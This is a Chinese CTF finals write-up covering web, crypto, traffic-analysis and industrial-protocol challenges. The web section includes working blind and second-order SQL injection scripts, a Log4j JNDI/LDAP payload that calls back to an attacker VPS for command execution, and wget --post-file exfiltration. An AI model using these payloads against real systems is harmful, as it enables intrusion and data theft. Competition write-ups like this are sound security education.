CTF记录“2022新疆工业互联网大赛” XJUSEC-NEW 决赛 writeup
WEB
1.1 wget
flag: flag{6ee30a64d009ee2ba70ca4ebdc2a56c3}
解题思路说明:
异或的sql盲注,然后wget外带flag
解题过程:
盲注拿到用户名和密码
import requests
import time
#url1 = "http://80f2c52235906b30.node.nsctf.cn/image.php?id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{0},1))>{1})^1"
url2 = "http://80f2c52235906b30.node.nsctf.cn/image.php?id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),{0},1))>{1})^1"
#url3 = "http://80f2c52235906b30.node.nsctf.cn/image.php?id=1^(ascii(substr((select(group_concat(id,username,password))from(ctf.users)),{0},1))>{1})^1"#8d3d7d2983efec1d33953
strs=""
for i in range(1,1000):
l = 32
h = 128
mid = (l + h)
while (l < h):
nurl=url2.format(i,mid)
r=requests.get(url=nurl)
if 'JFIF' in r.text:
l = mid + 1
else:
h = mid
mid = (l + h) // 2
time.sleep(0.1)
strs += chr(mid)
print(strs)
利用--post-file参数把flag带出来
1.2 commodities
flag: flag{adfa063e4a501f461a830801dad02227}
解题思路说明:
报错注入+二次注入
解题过程:
在修改密码的地方存在注入,会显示报错,所以可以借助注册时的用户名来实现二次注入
import requests
url = "http://1d2b6c8f4895d644.node.nsctf.cn/"
r = requests.session()
def register(name):
data = {
'username' : name,
'password' : '123',
'email' : '123',
}
r.post(url=url+"register.php", data=data)
def login(name):
data = {
'username' : name,
'password' : '123',
}
r.post(url=url+"login.php", data=data)
def changepwd():
data = {
'oldpass' : '',
'newpass' : '',
}
req = r.post(url=url+"changepwd.php", data=data).text
print(req)
#sql="select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())"
#Result:'article,flag,users'
#sql="select(group_concat(column_name))from(information_schema.columns)where(table_name='users')"
#sql="select(group_concat(secret_flag))from(users)where(real_flag_1s_here)regexp('^f')"
sql="select(group_concat(secret_flag))from(users)where(secret_flag)regexp('^f')"
payload='ethe"||updatexml(1,concat(1,({0})),1)#'.format(sql)
register(payload)
login(payload)
changepwd()
1.3 ezLog
flag: flag{668848dbb11bb10c23ab384e02ce9256}
解题思路说明:
拿到附件jar文件,反编译之后分析发现是Log4j漏洞,利用相关工具即可拿到flag。
解题过程:
拿到代码,发现明显有log4j漏洞的特征
在自己的vps上运行工具JNDIExploit,建立ldap和http服务:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 117.50.172.142 -p 5001
然后构造payload:
${jndi:ldap://ip:port/TomcatBypass/TomcatEcho}
,base64编码后传给靶机:
vps显示已经接收到相关数据,然后我们可以在http请求头中加入cmd项实现命令执行:
然后就可以拿flag了:
crypto
1.4 low rsa
flag: flag{40a97508298e0b6d1969bf555866110b}
解题思路说明:
打开发现四组enc,且n不长,直接分解得pq,算出d就可算出m,转字符串即可
解题过程:
如图,用yafu分解n:(只举例第一个n,其他同理)
得到四个pq
用工具打开,输入pqnec,右键计算d:
计算出d后,右键计算m,后右键m转字符串,得到flag头:
同理计算其他三个,得到如下flag:
1.5 china rsa
flag: flag{7404182df312cd0cb2c93309e3d46ec0}
解题思路说明:
根据名字可以知道考查中国剩余定理,打开文件可以发现确实考查中国剩余定理,直接跑脚本就好。
解题过程:
根据最后的n1 n2 n3 c1 c2 c3可以轻松发现符合CRT的特征,直接跑网上的中国剩余定理脚本:
from Crypto.Util.number import long_to_bytes
import gmpy2
n1 = int('68624393277316191480690361500719268209859606970078491357553903122632984224228322147396823621537481711581647644445144702008549382652252375519294832745848954293103973338429309497225953691572494005145483438414239297656893679200116358652523576183231450593319028795599014475219212376346636793922703050492075132761')
c1 = int('3389030919468203147801108320942437635911410869238356867640372186211398661571926910588388747207679340435956441445068822066263955383593214639888429448031194803879320292591434043139576794599256282937179748755009086803766105060607973253300175977019415524452114048380404967547302154339080767064958974530122490706')
n2 = int('132716275233978374499965229259572423248648608077510589592758898511517367262950863911707276209426293565742309240429179311391263020872658245097216412423204873171527140025909874798765994938866654990042889542212294317428947323832810281266170009560592923494277350988040936673992317254134228658193707668609339347647')
c2 = int('7494200167574030282296530004761857980712847907320034990456437600866742342285229128116975381267766037098134946092943255551152006090547599885085427991948929123193844152815576881828929972649971467463982160627378538624809411503712327876350938936312172352672051762948324137294079312548907339236935780099553838602')
n3 = int('106922568702592431588952834250874117164782811906392573372575618905877562273058488007190974065777255853599493102448456536113355522969542635895077573034665613263133477460084384084189052959814819205123430085391542850011479349951214528232228771565117012472280092164068323648582868348154217830986009174179496597549')
c3 = int('23455800474090944637966838624825847748647833595801702542947151389258309859870823666347961861619569667324873956770498936215299517418563345607513711159162039705583683144620701269546231494830040550716484204900631186424463779766505209863505240114715529754737318895760592395111130139165646983035024048451165975874')
M1=n2*n3*gmpy2.invert(n2*n3,n1)
M2=n1*n3*gmpy2.invert(n1*n3,n2)
M3=n1*n2*gmpy2.invert(n1*n2,n3)
num=c1*M1+c2*M2+c3*M3
me=num%(n1*n2*n3)
print(me)
m=gmpy2.iroot(me,7)[0]
print(long_to_bytes(m))
# 解得flag,见下图
得到的结果即为flag,如图
解题过程:
MISC
1.6 easypacp
flag: flag{a264c8ce70dfbc08dcfb9d552e15411a}
解题思路说明:
wireshark流量分析,直接搜flag发现压缩包,导出发现伪加密,解开即flag
解题过程:
用wireshark打开,搜索flag:
可以发现下面有一个flag.doc,找到该tcp的data部分,右键 显示分组字节流:
可以发现pk开头,说明为zip格式,另存为本地,使用foremost进行拆分:
拆分完发现zip,但是被加密,备份一份zip
然后打开kali用 ZipCenOp.jar尝试去除伪加密:
命令如上图,运行一下重新打开该zip,打开flag.docx,发现伪加密已经去除,里面的文本即为flag:
工控
1.7 摩多的RTU
flag: flag{8b00dd0141348ae9ff9aafcab5a601a7}
解题思路说明:
先百度啥意思,发现是指令,没啥用,但是可以发现rx这一行有66 00 6c 00 61 00这六组数字,很容易想到flag头的十六进制为666c61……开头,遂用notepad++转成字符即可
解题过程:
见思路,用notepad++打开:
得到如下结果,删除多余字符,得flag:
1.8 协议分析
flag: flag{c93650241853da240f9760531a79cbcf}
解题思路说明:
看到文件,百度文件名,发现原题出自2020工业信息安全大赛济南站协议精准定义分析一题,参考wp,分析流量包。可以发现是LSIS-XGT协议,同时根据pdf协议手册进行分析,写脚本即可得到flag
解题过程:
先对两个频繁使用tcp交流的ip进行分析,追踪tcp流
直接在wireshark中转码:
可以发现是LSIS-XGT协议,提取出发包内容和收到的包:
发
4c5349532d58475400000000a03300001600034758001400000001000600254d4232303004007d000000
4c5349532d58475400000000a03300001200034354001400000001000600254d423230300100
收
4c5349532d58475400110100a01100000a00034759001400080100000100
4c5349532d58475400110100a01100000d00034355001400080100000100010000
根据pdf文件进行分析:
4c5349532d58475400000000a03300001600034758001400000001000600254d4232303004007d000000
首先LSIS Header 长度为20个字节,
4c5349532d58475400000000a033000016000347
为header
再往后面两个字节5800
表示写操作,往后两个字节1400
表示数据类型,
再往后6个字节000001000600
表示Reseverd area
, Number of blocks
和 length of variables
可以先不关注
取最后一部分进行关注分析254d4232303004007d000000
转成字符串:
分析pdf文档,并参考wp可以知道:
其中前面的254d42323030
即 %MB200
, 表示写入地址,0400
表示写入数据长度,7d000000
四个字节正好是上面的写入长度
然后追踪tcp将整个流的raw数据复制出来,然后,用脚本取出上面7d000000位置的数据来进行分析:
用wp给的脚本跑:
#coding:utf-8
import os
import base64
lines = open('./提取出的数据.txt').readlines()
flag = ''
for line in lines:
line = line.strip()
if len(line) == 84:
t = line[76:78]
x = int(t,16)
y = chr(x)
flag += y
else:
pass
print(flag[::-1])
得到flag:flag{c93650241853da240f9760531a79cbcf}
1.9 失联的PLC
flag: flag{d02d2bfd7ca4a98ebacf610f00d541ea}
解题思路说明:
用wireshark打开文件,根据往年类似题目的方法,过滤掉没问题的即可找到有问题的,通过返回码判断是否有问题。
解题过程:
如图,输入命令s7comm.data.returncode!=0xff 过滤对的返回码
根据提示,找到data:
导出原始data:
用md5加密得到flag,包上flag{}头即可
flag:flag{d02d2bfd7ca4a98ebacf610f00d541ea}
真棒!
jsjkjjwjuu 昨天